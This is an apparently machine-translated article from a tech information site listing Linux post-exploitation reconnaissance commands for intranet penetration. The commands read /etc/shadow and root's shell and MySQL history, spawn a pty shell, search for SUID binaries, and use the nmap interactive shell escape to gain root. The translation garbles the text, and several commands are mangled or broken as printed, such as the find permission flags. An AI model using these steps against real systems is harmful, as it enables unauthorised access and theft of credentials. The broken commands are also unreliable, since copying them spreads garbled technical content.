Shulou(Shulou.com)06/03 Report--

This article mainly explains "how to realize information collection of intranet penetration". The content of the explanation in this article is simple and clear, and it is easy to learn and understand. let's study and learn "how to achieve information collection through intranet penetration".

Linux Information Collection 1. Linux Information Collection

Id to view the permissions of the current user and the administrative group he belongs to

Python-c "import pty;pty.spawn ('/ bin/bash');" session promotion

Uname-a view kernel information of linux version

Cat / etc/*release View linux release Information

Dpkg-l view installed packages

Whether crontab-l has scheduled tasks (no scheduled tasks are shown here)

/ sbin/ifconfig-a check ip address, etc.

Cat / etc/passwd ordinary users can view users' information.

Cat / etc/shadow account password information (root permission) (no permission shown here)

Cat / root/.mysql_history view mysql history operations (neither the target machine nor kali has operated on mysql, so there is no file)

Cat / root/.bash_history View user instruction History

Cat / proc/version View Kernel Information

Find /-perm-UBSs-type f 2 > / dev/null matches files with high permissions to see if there are any advantages

/: represents the query location, which is currently set to the root directory

-perm: represents permission

-Ubuns: s:superbin representing the user's permissions

-type: type, where f stands for file file

2. Recurrence of nmap vulnerabilities

Nmap-- interactive-- >! sh uses nmap3.5

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.